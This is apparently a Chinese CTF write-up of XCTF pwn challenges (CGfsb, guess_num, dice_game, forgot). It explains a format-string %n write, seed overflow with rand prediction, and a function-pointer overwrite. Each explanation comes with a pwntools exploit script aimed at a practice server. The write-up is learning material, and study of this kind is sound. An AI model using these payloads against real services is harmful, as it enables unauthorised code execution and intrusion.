攻防世界
CGfsb
格式化字符串漏洞
因为当时做这个题时候不太懂,所以拿出来说说
分析伪代码,发现修改pwnme的值为8 得到flag
在.bss段的全局变量,因为没有开启PIE,那就好办了,pwnme这个全局变量的地址是不会变的。
改值方法,格式化输出漏洞
利用printf格式化字符串漏洞addr+%N$n修改任意地址的值,
其中%N$n是以printf第N+1个参数位置的值为地址(printf中格式化字符串是第0个参数),将输出过的字符数量的值写入这个地址中
用法说明
%n:将%n之前printf已经打印的字符个数赋值给**偏移处指针**所指向的地址
位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址
疑问:%n的使用方法,偏移量是谁与谁之间的,偏移量为什么不会变
一
利用%x泄露内容
可以看到输入的aaaa也就是0x61616161是位于输出的第11位
然后根据addr+%N$n 可以在偏移处储存的地址写入内容
二
经过gdb调试查看栈,可以观察到输入的aaaa距离栈顶也正好10个参数
所以说偏移处指针会不会是指
猜测。。。。
原本printf读取参数的指针指向了栈顶,然后用%n改变指针的指向。。
最后,此题的最大难点在于获取 %n 所需要的偏移量
解题思路就是利用格式化输出漏洞将pwnme的值改为8
脚本
from pwn import *
p=remote('111.198.29.45',"39076");
pwnme=0x804a068
p.recvuntil('name:')
p.sendline('qqqq')
p.recvuntil('please:')
payload = p32(pwnme)
payload += 'aaaa'
payload += '%10$n'
p.sendline(payload)
p.interactive()
guess_num 和 进阶 dice_game
猜随机数的两题,种子是seed[0],循环n次,均对即可跳到sub_C3E函数执行system(“cat flag”)
开启了canary,不能直接栈溢出到sub_C3E函数,
但是区别在于
一
guess_num 输入为gets函数 可以溢出到函数返回地址,
而 dice_game 用的read(0, buf, 0x50uLL);只能栈溢出到seed[0]
所以guess_num应该可以直接调用sub_C3E函数但需要canary绕过,不知道行不行,大家可以试试。
二
guess_num 没给libc库, dice_game给了libc.so.6
所以写脚本时
guess_num用的是
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
而dice_game用的是
libc = cdll.LoadLibrary("libc.so.6")
做题的主要思想还是利用函数漏洞给随机数种子赋值。提前获取到随机数,
经过n次对比成功执行 cat flag 的函数
srand初始化随机种子,rand产生随机数。
随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,
实际上是一段数字的循环,这些数字取决于随机种子。
在调用rand()函数时,必须先利用srand()设好随机数种子,
如果未设随机数种子,rand()在调用时会自动设随机数种子为1。
需要我们了解的新知识就是ctypes模块里的 cdll.LoadLibrary 函数
下面是从
https://www.cnblogs.com/gaowengang/p/7919219.html
得到的一些知识
Python 的 ctypes 要使用 C 函数,需要先将 C 编译成动态链接库的形式,
即 Windows 下的 .dll 文件,或者 Linux 下的 .so 文件。先来看一下 ctypes 怎么使用 C 标准库。
Windows 系统下的 C 标准库动态链接文件为 msvcrt.dll (一般在目录 C:\Windows\System32 和 C:\Windows\SysWOW64 下分别对应 32-bit 和 64-bit,使用时不用刻意区分,Python 会选择合适的)
Linux 系统下的 C 标准库动态链接文件为 libc.so.6 (以 64-bit Ubuntu 系统为例, 在目录 /lib/x86_64-linux-gnu 下)
所以guess_num的脚本会用/lib/x86_64-linux-gnu/libc.so.6也是有一定根据的。
因此我试着将dice_game脚本的libc也改为/lib/x86_64-linux-gnu/libc.so.6一样可以获得flag.
脚本
from pwn import *
from ctypes import *
#coding:utf-8
p = remote("111.198.29.45","35346")
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a"*0x20 +p64(1)
p.recvuntil('Your name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
p.recvuntil('number:')
p.sendline(num)
p.interactive()
进阶 forgot
这一题是看了脚本却不太懂事什么意思的一道题
开始看完代码发现这题中并没有直接给你某个函数得到flag,
于是查找字符,发现了后门函数!
记下函数的地址。
最后看了半天,下面把我的理解说一下。其实理解之后也是挺好玩的。。
搜到的题解
#! /usr/bin/env python
from pwn import *
p=remote('111.198.29.45',56015)
print p.recvuntil("> ")
p.sendline('A')
payload='A'*32+p32(0x080486cc)
print p.recvuntil("> ")
p.sendline(payload)
print p.recvall()
只看脚本时候好像是特别简单,不就是覆盖函数返回地址吗?
但是在 ida 打开后会产生疑问了,为什么是“A”*32
有两次输入
第一次输入使用fgets(&s,32,stdin)
从缓冲区输入32位给字符串 s 并不能溢出到函数返回地址
第二次输入为scanf(“%s”,v2)
这一次可以溢出到函数返回地址了
不过v2距离栈底 0x74 所以构造函数不应该是0x78*”a”+p32(adress)吗
但我试过之后发现并不能得到flag
为什么呢?
我也不太清楚。
下面是为什么用32*”A”的原因
重点
代码的最后有(*(&v3+ –v14))();
v3是int型指针 v14是int数据
所以这句代码就是 执行 v3加上 v14-1后 所指向的 函数
因此我们可以用这一句来进行溢出,执行我们找到的 后门函数
分析代码当v2的值等于‘A’ 时 v14等于 1 所以最后执行v3指向的函数
可以发现v3距离v2 0x20 也就是32,然后将v3覆盖为后门函数
后面为了验证正确性,我将v2改为字符’9’ 得到v14为 2
因此我用下面的脚本验证发现也可行
#coding:utf-8
from pwn import *
p=remote('111.198.29.45',39341)
print p.recvuntil("> ")
p.sendline('A')
payload='9'*36+p32(0x080486cc)
print p.recvuntil("> ")
p.sendline(payload)
print p.recvall()
这题中收获还是不小的,起码读懂了代码的执行步骤。
希望大家在做题的过程中也能多多发现疑问,
使自己做题时知其所以